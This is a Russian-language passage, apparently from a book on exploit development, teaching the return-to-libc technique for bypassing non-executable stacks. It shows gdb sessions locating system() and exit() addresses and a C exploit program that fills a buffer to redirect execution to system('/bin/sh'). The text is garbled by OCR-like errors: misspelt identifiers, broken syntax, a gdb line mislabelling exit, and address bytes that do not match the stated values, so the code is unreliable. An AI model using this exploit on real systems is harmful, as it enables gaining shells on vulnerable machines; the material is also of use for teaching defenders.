Борьба с неисполняемым стеком
Предыдущий пример сработал благодаря возможности выполнения команд в стеке. Для защиты от подобных атак во многих операционных системах (Solaris, OpenBSD) программам запрещается выполнение кода в стеке. Эта мера защищает от любых эксплойтов, ориентированных на запись исполняемого кода в стек.
Вероятно, вы уже догадались, что возможность выполнения кода в стеке не критична. Это всего лишь самый простой, известный и наиболее надежный метод эксплуатации уязвимостей. Столкнувшись с неисполняемым стеком, можно воспользоваться другим приемом, называемым возвратом в libc. Фактически мы воспользуемся вездесущей библиотекой libc для экспорта вызовов системных функций в libc. В этом случае эксплуатация уязвимостей станет возможной даже при защищенном стеке.
Возврат в libc
Как же работает метод возврата в libc? Простоты ради предположим, что регистр EIP уже находится под контролем, и в него можно занести любой адрес для выполнения; короче говоря, благодаря обнаружению некоего уязвимого буфера мы полностью перехватили контроль над программой.
Вместо возврата управления в стек, как в традиционном методе переполнения с токовых буферов, мы заставим программу вернуть управление по адресу конкретной функции динамической библиотеки. Функция динамической библиотеки не будет храниться в стеке, и это позволит обойти ограничения на выполнение кода в стеке. Как выбрать функцию для возврата? В идеальном случае функция должна удовлетворять двум условиям:
- Динамическая библиотека должна быть широко распространена и присутствовать в большинстве программ.
- Функция из библиотеки должна обеспечивать максимальную свободу действий, чтобы мы могли запустить командный процессор (или сделать что-нибудь еще по нашему усмотрению).
Обоим требованиям в наибольшей степени соответствует libc — стандартная библиотека С, содержащая практически все стандартные функции С, которые мы принимаем как нечто само собой разумеющееся. По своей природе все функции библиотеки являются общими (собственно, это входит в определение библиотеки функций), а следовательно, доступными для любой программы, в которую включена библиотека libc. Но если любая программа может обратиться к этим общим функциям, нельзя ли использовать это обстоятельство и наших целях? Все, что потребуется, — передать управление по адресу библиотечной функции, которую мы хотим задействовать (разумеется, с соответствующими аргументами), и такая функция будет исполнена.
Для начала не будем усложнять задачу и ограничимся запуском командного процессора. Проще всего воспользоваться функцией system(); в контексте нашего примера эта функция всего лишь получает аргумент и выполняется строкой /bin/sh. Передав функции system() аргумент /bin/sh, мы получим командный процессор. Выполнять код в стеке для этого не придется; переход осуществляется прямо по адресу функции system() в библиотеке С.
Интересный вопрос как передать аргумент функции system()? В сущности, мы хотим передать указатель на строку (bin/sh), которая должна быть выполнена функцией. Известно, что при нормальном выполнении функции (для удобства назовем ее the_function) аргументы заносятся в стек в обратном порядке. Но нас сейчас интересует то, что происходит дальше, и в конечном счете позволит передать параметры функции system().
Сначала выполняется команда CALL the_function. При выполнении команды CALL в стек заносится адрес следующей команды (адрес возврата), а регистр ESP уменьшается на 4. Когда the_function вернет управление, адрес возврата (EIP) извлекается из стека, а в ESP заносится адрес, следующий непосредственно за адресом возврата.
Теперь перейдем к вызову system(). Функция the_funotion считает, что ESP уже указывает на адрес, по которому должен производиться возврат. Также предполагается, что в стеке уже размещены положенные параметры, причем первый аргумент следует за адресом возврата; это нормальное поведение стека. Таким образом, мы должны перевести адрес возврата на функцию system() и занести аргумент (в нашем случае это указатель на строку /bin/sh) в соответствующие 8 байт стека. При возврате из the_function управление передается функции system(), a system() получает данные из стека.
Итак, основные принципы понятны. Для реализации метода возврата в libc необходимо провести кое-какие подготовительные действия:
1. Узнать адрес функции system().
2. Узнать адрес строки /bin/sh.
3. Узнать адрес функции exit() для корректного завершения эксплуатируемой программы.
Адрес функции system() в libc определяется простым дезассемблированием любой программы, написанной на C++. Компилятор gcc по умолчанию включает libc при компиляции, поэтому для определения адреса system() можно воспользоваться простейшей программой:
int main()
{
}
Теперь давайте определим адрес system() при помощи gdb.
[root@0day local]# gdb file
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb) run
Starting program- /usr/local/book/file
Breakpoint 1. 0x804832e in main 0
(gdb) p system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb)
Функция system() находится по адресу 0x4203f2c0. Теперь узнаем адрес exit().
[root@0day local]# gdb file
(gdb) break main
Breakpoint 1 at 0x804832e
(gdb) run
Starting program /usr/local/book/file
Breakpoint 1. 0x804832e in main О
(gdb) p exit
$1 = {<text variable, no debug info>} 0x42029bb0 <system>
(gdb)
Функция exit() находится по адресу 0x42029bb0. Наконец, для получения адреса /bin/sh можно воспользоваться утилитой memfetch (http://Lcamtuf.coredump.cx/), отображающей содержимое памяти для заданного процесса; проведите поиск и двоичном файле и определите адрес /bin/sh в двоичном файле. Существует и другой способ: сохраните строку /bin/sh в переменной окружения и получите адрес этой переменной.
Наконец, можно переходить к написанию программы. Мы должны:
1. Заполнить буфер фиктивными данными вплоть до адреса возврата.
2. Заменить адрес возврата адресом system().
3. Записать за адресом system() адрес exit().
4. Присоединить адрес /bin/sh.
Посмотрим, как это должно выглядеть в коде:
#include <stdlib.h>
#define offset_size 0
#define buffer_size 600
char sc[] =
"\xc0\xf2\x03\x42" //system()
"\x02\x9b\xb0\x42" //exit()
"\xa0\x8a\xb2\x42M //binsh
unsigned long find_start(void) {
_asm_ ("movl %esp,%eax"),
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr. addr;
int offset=offset_size; bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[l]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() – offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i=0. i < bsize. i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i=0 i < strlen(sc); i++))
*(ptr++) = sc[l];
buff[bsize - 1] = '\0',
memcpy(buff,"BUF=",4),
putenv(buff);
system("/bin/bash");
}